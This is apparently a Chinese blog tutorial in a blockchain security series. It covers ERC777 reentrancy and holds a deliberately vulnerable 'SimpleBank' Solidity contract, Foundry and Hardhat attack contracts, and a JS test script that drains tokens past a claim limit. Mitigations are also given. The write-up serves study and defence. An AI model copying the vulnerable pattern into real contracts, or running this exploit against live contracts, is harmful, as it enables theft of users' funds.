区块链安全常见的攻击——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
区块链安全常见的攻击分析——ERC777 重入漏洞 ERC777 Reentrancy Vulnerability【5】
- 区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
- 1.1 漏洞合约
- 1.2 漏洞分析
- 1.3 攻击分析
- 1.4 攻击合约
- 1.5 hardhat版本自己重现了一次
区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
Name: ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)
**重点:**通过使用 IERC1820Registry
调用 setInterfaceImplementer
函数,将 ERC777TokensRecipient
接口指向攻击合约地址。攻击合约实现了 tokensReceived
钩子函数,并在钩子中调用 SimpleBankContract.claim(address(this), 1000)
。当攻击者调用 SimpleBankContract
的 claim
函数时,会触发 tokensReceived
钩子,钩子中再次调用 claim
,从而实现重入攻击。利用这一漏洞,攻击者能够绕过 SimpleBankContract
对单账户提取上限的限制,反复提取超额代币。
1.1 漏洞合约
contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank is Test {ERC777 private token;uint maxMintsPerAddress = 1000;mapping(address => uint256) public _mints;bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");function setUp() external {// mock ERC1820Registry contract in foundryvm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600080fd5b5060043610..."));}constructor(address nftAddress) {token = ERC777(nftAddress);// Register IERC1820RegistryIERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function claim(address account, uint256 amount) public returns (bool) {// Check if total claims for the address would exceed max mints per address.require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");token.transfer(account, amount);_mints[account] += amount; // Do not follow check-effect-interactionreturn true;}function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {}receive() external payable {}
}
1.2 漏洞分析
ERC777 的 transfer 函数会触发 tokensReceived 钩子,该钩子允许执行任意代码。
攻击合约可以在 tokensReceived 钩子中通过重入再次调用 claim,从而绕过 _mints 的检查逻辑,重复领取更多代币。
1.3 攻击分析
-
恶意合约首先调用 claim 函数申请代币。
-
token.transfer 被调用,此时触发_send→_callTokensReceived→ tokensReceived 钩子。
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {_send(_msgSender(), recipient, amount, "", "", false);return true;}function _send(address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) internal virtual {require(from != address(0), "ERC777: transfer from the zero address");require(to != address(0), "ERC777: transfer to the zero address");address operator = _msgSender();_callTokensToSend(operator, from, to, amount, userData, operatorData);_move(operator, from, to, amount, userData, operatorData);_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);}function _callTokensReceived(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) private {address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);if (implementer != address(0)) {IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);} else if (requireReceptionAck) {require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");}}
- 恶意合约在 tokensReceived 钩子中再次调用 claim,因为 _mints 尚未更新,绕过了检查。
// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}
- 因此获取超过限制的代币。
1.4 攻击合约
// ----------------- 攻击 -------------------
contract ContractTest is Test {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例address alice = vm.addr(1); // Alice 的地址address eve = vm.addr(2); // Eve 的地址bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =keccak256("ERC777TokensSender"); // ERC1820 发送者接口bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient"); // ERC1820 接收者接口// 初始化测试环境function setUp() external {// 使用 Foundry 模拟 ERC1820Registry 合约vm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600..."));MyERC777TokenContract = new MyERC777(0); // 部署自定义 ERC777 合约}// 测试 ERC777 重入攻击function testERC777Reentrancy() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));// 初始化环境SimpleBankContract = new SimpleBank(address(MyERC777TokenContract));MyERC777TokenContract.mint(address(SimpleBankContract), 10000, "", ""); // 铸造 10,000 个代币到银行合约console.log("Maximum claims is 1,000 for each EOA, How can you bypass this limitation?");console.log("testERC777Reentrancy attack address(this)",address(this) // 攻击前余额);console.log("Before exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击前余额);// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 900);// 攻击后余额,预期应为 1,900console.log("After exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击后余额);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}// 接收以太币的回退函数receive() external payable {}
}
1.5 hardhat版本自己重现了一次
漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";/*
名称:ERC777 重入漏洞描述:
ERC777 代币允许在代币转账过程中通过钩子函数(`tokensReceived`)执行任意回调。
如果没有使用重入保护(Reentrancy Guard),恶意合约可以利用这些回调进行重入攻击,导致状态不一致或逻辑错误。场景:
假设每个外部账户(EOA)最多只能领取 1,000 个代币。
攻击者可以通过重入调用绕过这一限制,领取超过上限的代币。缓解措施:
1. 遵循检查-效果-交互模式(Check-Effect-Interaction)。
2. 使用 OpenZeppelin 的 `ReentrancyGuard` 防止重入攻击。参考:
https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5
*/contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {console.log("MyERC777-mint()-111");_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank {ERC777 private token; // ERC777 代币实例uint maxMintsPerAddress = 1000; // 每个地址的最大领取限制mapping(address => uint256) public _mints; // 记录用户已领取的代币数量bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address nftAddress) {token = ERC777(nftAddress);// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}// 用户领取代币function claim(address account, uint256 amount) public returns (bool) {// 检查领取是否超出限制require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");console.log("111-ERC777-reentrancy-claim()");token.transfer(account, amount); // 转移代币_mints[account] += amount; // 更新领取记录(未遵循检查-效果-交互模式)return true;}// tokensReceived 回调函数function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {console.log("777-SimpleBank-tokensReceived()-111");}// 接收以太币回退函数receive() external payable {}
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import "./ERC777-Bank.sol";contract ERC777Attack {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address MyERC777TokenAddress, address SimpleBankAddress) {MyERC777TokenContract = MyERC777(address(MyERC777TokenAddress));SimpleBankContract = SimpleBank(payable(address(SimpleBankAddress)));// // 在 ERC1820Registry 中注册接收者接口// IERC1820Registry registry = IERC1820Registry(// address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)// );// registry.setInterfaceImplementer(// address(this),// _TOKENS_RECIPIENT_INTERFACE_HASH,// address(this)// );}function resetRegistry() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}function attack() public {resetRegistry();// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 100);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBankContract.claim(address(this), 1000);}}receive() external payable {}
}
js 脚本
const { ethers } = require("hardhat");
const MyERC777 = require("../artifacts/contracts/ERC777-Bank.sol/MyERC777.json");
const SimpleBank = require("../artifacts/contracts/ERC777-Bank.sol/SimpleBank.json");
const ERC777Attack = require("../artifacts/contracts/ERC777-reentrancy-Attack.sol/ERC777Attack.json");
const hre = require("hardhat");describe("ERC777", function () {var ERC1820Registry,MyERC777Contract,MyERC777Address,SimpleBankContract,SimpleBankAddress,ERC777AttackContract,ERC777AttackAddress;async function erc777ReentrancyTest() {const [owner, implementer] = await ethers.getSigners();const erc1820Address = "0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24";ERC1820Registry = await ethers.getContractAt("IERC1820Registry",erc1820Address);console.log("ERC1820Registry address:", await ERC1820Registry.getAddress());const MyERC777Factory = new ethers.ContractFactory(MyERC777.abi,MyERC777.bytecode,owner);MyERC777Contract = await MyERC777Factory.deploy(0);MyERC777Address = await MyERC777Contract.getAddress();console.log("MyERC777 address:", MyERC777Address);const SimpleBankFactory = new ethers.ContractFactory(SimpleBank.abi,SimpleBank.bytecode,owner);SimpleBankContract = await SimpleBankFactory.deploy(MyERC777Address);SimpleBankAddress = await SimpleBankContract.getAddress();console.log("SimpleBank address:", SimpleBankAddress);const ERC777AttackFactory = new ethers.ContractFactory(ERC777Attack.abi,ERC777Attack.bytecode,owner);ERC777AttackContract = await ERC777AttackFactory.deploy(MyERC777Address,SimpleBankAddress);ERC777AttackAddress = await ERC777AttackContract.getAddress();console.log("ERC777AttackContract address", ERC777AttackAddress);}async function erc777ReentrancyAttack() {let bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);// 攻击前提,Bank合约有代币await MyERC777Contract.mint(SimpleBankAddress,10000,"0x", // 用有效的空字节"0x" // 用有效的空字节);bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);let attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击前,attack contract Balance:", attackBalance);// ------- 攻击---------------发起领取请求,触发 tokensReceived 回调函数await ERC777AttackContract.attack();attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击后,attack contract Balance:", attackBalance);registryGet = await ERC777AttackContract.getNum();// console.log("registryGet address:", registryGet);}it("erc777ReentrancyTest deploy error", async function () {await erc777ReentrancyTest();});it("erc777ReentrancyTest attack error", async function () {await erc777ReentrancyAttack();});
});
结果输出: